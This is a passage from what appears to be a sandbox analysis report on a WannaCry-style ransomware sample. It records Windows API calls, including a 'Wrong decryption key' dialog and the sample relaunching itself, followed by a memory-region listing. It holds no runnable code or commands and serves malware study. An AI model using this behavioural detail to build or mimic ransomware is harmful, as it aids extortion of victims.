wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ea90) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.913] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.913] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0046.921] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.921] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x0, lParam=0xe0182) returned 0x1 [0046.921] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.921] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.921] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x0, lParam=0xe0182) returned 0x0 [0046.922] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.922] GetWindowLongW (hWnd=0x50216, nIndex=-20) returned 256 [0046.922] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x84, wParam=0x0, lParam=0x1fd0368) returned 0x1 [0046.922] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.922] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.922] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659eda0 | out: lpRect=0xe0d659eda0) returned 1 [0046.922] GetCursorPos (in: lpPoint=0xe0d659edc0 | out: lpPoint=0xe0d659edc0*(x=872, y=509)) returned 1 [0046.922] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659edc0 | out: lpPoint=0xe0d659edc0) returned 1 [0046.922] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0046.923] SetCursor (hCursor=0x10003) returned 0x10007 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x200, wParam=0x0, lParam=0x1870227) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa40106f6, lParam=0x0) returned 0x1 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.923] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa40106f6, lParam=0x4) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.923] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.923] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.923] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.923] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.923] GetForegroundWindow () returned 0xe0182 [0046.923] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0046.925] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.925] GetWindowLongW (hWnd=0x50216, nIndex=-20) returned 256 [0046.925] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x84, wParam=0x0, lParam=0x1fd0368) returned 0x1 [0046.925] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.925] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.925] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659eda0 | out: lpRect=0xe0d659eda0) returned 1 [0046.925] GetCursorPos (in: lpPoint=0xe0d659edc0 | out: lpPoint=0xe0d659edc0*(x=872, y=509)) returned 1 [0046.925] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659edc0 | out: lpPoint=0xe0d659edc0) returned 1 [0046.925] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0046.925] SetCursor (hCursor=0x10003) returned 0x10003 [0046.925] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.925] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x200, wParam=0x0, lParam=0x1870227) returned 0x0 [0046.967] GetForegroundWindow () returned 0xe0182 [0046.967] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.014] GetForegroundWindow () returned 0xe0182 [0047.014] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.066] GetForegroundWindow () returned 0xe0182 [0047.067] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.108] GetForegroundWindow () returned 0xd0202 [0047.108] GetWindowLongPtrW (hWnd=0xd0202, nIndex=-21) returned 0x0 [0047.155] GetForegroundWindow () returned 0xe0182 [0047.155] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.200] GetForegroundWindow () returned 0xe0182 [0047.200] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.248] GetForegroundWindow () returned 0xe0182 [0047.248] GetWindowLongPtrW (hWnd=0xe0182, nIndex=-21) returned 0xe0d659f4c0 [0047.267] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.267] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x46, wParam=0x0, lParam=0xe0d659f080) returned 0x0 [0047.268] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.268] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x47, wParam=0x0, lParam=0xe0d659f080) returned 0x0 [0047.268] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.268] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0047.268] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0047.268] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.268] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0047.270] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.270] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.270] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0047.284] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0047.284] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.284] GetWindowLongW (hWnd=0x50216, nIndex=-20) returned 256 [0047.284] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x84, wParam=0x0, lParam=0x200030a) returned 0x1 [0047.284] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.284] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.284] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659f300 | out: lpRect=0xe0d659f300) returned 1 [0047.284] GetCursorPos (in: lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320*(x=778, y=512)) returned 1 [0047.284] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320) returned 1 [0047.284] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0047.284] SetCursor (hCursor=0x10003) returned 0x10003 [0047.284] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0047.284] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x200, wParam=0x0, lParam=0x18a01c9) returned 0x0 [0047.285] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0047.285] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0047.285] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa40106f6, lParam=0x0) returned 0x1 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetSysColor (nIndex=15) returned 0xf0f0f0 [0047.285] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa40106f6, lParam=0x4) returned 0x0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetSysColor (nIndex=15) returned 0xf0f0f0 [0047.285] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.285] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0047.285] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0047.286] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.286] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.286] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0047.286] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0047.286] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0047.286] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0047.286] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0047.286] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0047.286] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0047.286] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 0 [0047.286] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0047.286] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0047.286] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe0d659ec80) returned 1 [0047.287] KillTimer (hWnd=0x9002c, uIDEvent=0x1) returned 1 [0047.287] SetTimer (hWnd=0x9002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0047.287] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0047.287] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0047.287] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0047.287] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0047.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0047.288] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xe0d6942540 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0047.288] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe0d659f270*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe0d659f200 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xe0d659f200*(hProcess=0x194, hThread=0x1dc, dwProcessId=0xa88, dwThreadId=0xa80)) returned 1 [0047.294] CloseHandle (hObject=0x1dc) returned 1 [0047.294] CloseHandle (hObject=0x194) returned 1 [0047.295] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 1 [0047.295] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f330) returned 0 [0047.295] TranslateMessage (lpMsg=0xe0d659f330) returned 0 [0047.295] DispatchMessageW (lpMsg=0xe0d659f330) returned 0x0 [0047.295] GetForegroundWindow () returned 0x50216 [0047.295] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.295] GetCursorPos (in: lpPoint=0xe0d659f190 | out: lpPoint=0xe0d659f190*(x=778, y=512)) returned 1 [0047.295] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f190 | out: lpPoint=0xe0d659f190) returned 1 [0047.295] GetAsyncKeyState (vKey=1) returned 1 [0047.295] GetAsyncKeyState (vKey=2) returned 0 [0047.295] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0047.295] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0047.295] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0047.295] LockWindowUpdate (hWndLock=0x0) returned 0 [0047.295] DestroyWindow (hWnd=0x9002c) returned 1 [0047.295] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0047.295] KillTimer (hWnd=0x9002c, uIDEvent=0x1) returned 1 [0047.295] Shell_NotifyIconW (dwMessage=0x2, lpData=0xe0d659f020) returned 1 [0047.307] DestroyWindow (hWnd=0x50216) returned 1 [0047.307] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.307] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0047.307] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.307] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x46, wParam=0x0, lParam=0xe0d659f390) returned 0x0 [0047.308] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.308] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x47, wParam=0x0, lParam=0xe0d659f390) returned 0x0 [0047.314] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.314] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0047.315] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] InvalidateRect (hWnd=0x50216, lpRect=0x0, bErase=1) returned 1 [0047.315] DestroyAcceleratorTable (hAccel=0x70127) returned 1 [0047.315] DeleteObject (ho=0x7d0a070d) returned 1 [0047.315] DestroyWindow (hWnd=0x901e4) returned 1 [0047.315] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.315] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x30002, lParam=0x901e4) returned 0x0 [0047.316] DestroyWindow (hWnd=0x701ea) returned 1 [0047.316] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.316] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x40002, lParam=0x701ea) returned 0x0 [0047.316] DeleteObject (ho=0xffffffffdc0a07c6) returned 1 [0047.316] DestroyWindow (hWnd=0xa018a) returned 1 [0047.316] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.316] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x50002, lParam=0xa018a) returned 0x0 [0047.316] DeleteObject (ho=0xffffffffcc0a06d5) returned 1 [0047.316] DestroyWindow (hWnd=0xa01e6) returned 1 [0047.316] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.316] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x60002, lParam=0xa01e6) returned 0x0 [0047.317] DeleteObject (ho=0x6b0a0710) returned 1 [0047.317] DestroyWindow (hWnd=0x7011c) returned 1 [0047.317] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.317] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x70002, lParam=0x7011c) returned 0x0 [0047.317] DeleteObject (ho=0x4b0a06f7) returned 1 [0047.317] DestroyWindow (hWnd=0xd0020) returned 1 [0047.317] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.317] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x80002, lParam=0xd0020) returned 0x0 [0047.318] KillTimer (hWnd=0x0, uIDEvent=0x7f62) returned 1 [0047.318] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0047.320] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0047.320] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0047.320] DeleteObject (ho=0x361007f6) returned 1 [0047.320] DeleteObject (ho=0xffffffff9110059b) returned 1 [0047.320] DeleteObject (ho=0xffffffffa8100568) returned 1 [0047.320] PostQuitMessage (nExitCode=0) [0047.321] GetMessageW (in: lpMsg=0xe0d659f7a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe0d659f7a8) returned 0 [0047.332] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0047.332] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0047.336] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0047.336] OleUninitialize () [0047.338] DestroyCursor (hCursor=0x8101a7) returned 0 [0047.338] ExitProcess (uExitCode=0x0) Process: id = "27" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x9806000" os_pid = "0xa88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0xa5c" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2229 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2230 start_va = 0x10f3550000 end_va = 0x10f356ffff entry_point = 0x0 region_type = private name = "private_0x00000010f3550000" filename = "" Region: id = 2231 start_va = 0x10f3570000 end_va = 0x10f357efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3570000" filename = "" Region: id = 2232 start_va = 0x10f3580000 end_va = 0x10f397ffff entry_point = 0x0 region_type = private name = "private_0x00000010f3580000" filename = "" Region: id = 2233 start_va = 0x10f3980000 end_va = 0x10f3983fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3980000" filename = "" Region: id = 2234 start_va = 0x10f3990000 end_va = 0x10f3991fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3990000" filename = "" Region: id = 2235 start_va = 0x10f39a0000 end_va = 0x10f39a1fff entry_point = 0x0 region_type = private name = "private_0x00000010f39a0000" filename = "" Region: id = 2236 start_va = 0x7ff7565a0000 end_va = 0x7ff7565c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7565a0000" filename = "" Region: id = 2237 start_va = 0x7ff7565cc000 end_va = 0x7ff7565cdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7565cc000" filename = "" Region: id = 2238 start_va = 0x7ff7565ce000 end_va = 0x7ff7565cefff entry_point = 0x0 region_type = private name = "private_0x00007ff7565ce000" filename = "" Region: id = 2239 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 2240 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2242 start_va = 0x10f3a70000 end_va = 0x10f3e6ffff entry_point = 0x0 region_type = private name = "private_0x00000010f3a70000" filename = "" Region: id = 2243 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2244 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2245 start_va = 0x10f3550000 end_va = 0x10f355ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3550000" filename = "" Region: id = 2246 start_va = 0x10f3560000 end_va = 0x10f3566fff entry_point = 0x0 region_type = private name = "private_0x00000010f3560000" filename = "" Region: id = 2247 start_va = 0x10f39b0000 end_va = 0x10f3a2dfff entry_point = 0x10f39b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2248 start_va = 0x10f3a30000 end_va = 0x10f3a36fff entry_point = 0x0 region_type = private name = "private_0x00000010f3a30000" filename = "" Region: id = 2249 start_va = 0x10f3a40000 end_va = 0x10f3a40fff entry_point = 0x0 region_type = private name = "private_0x00000010f3a40000" filename = "" Region: id = 2250 start_va = 0x10f3a50000 end_va = 0x10f3a50fff entry_point = 0x0 region_type = private name = "private_0x00000010f3a50000" filename = "" Region: id = 2251 start_va = 0x10f3f10000 end_va = 0x10f3f1ffff entry_point = 0x0 region_type = private name = "private_0x00000010f3f10000" filename = "" Region: id = 2252 start_va = 0x10f3f20000 end_va = 0x10f40a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3f20000" filename = "" Region: id = 2253 start_va = 0x10f40b0000 end_va = 0x10f4230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f40b0000" filename = "" Region: id = 2254 start_va = 0x10f4240000 end_va = 0x10f563ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f4240000" filename = "" Region: id = 2255 start_va = 0x7ff7564a0000 end_va = 0x7ff75659ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7564a0000" filename = "" Region: id = 2256 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2257 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" 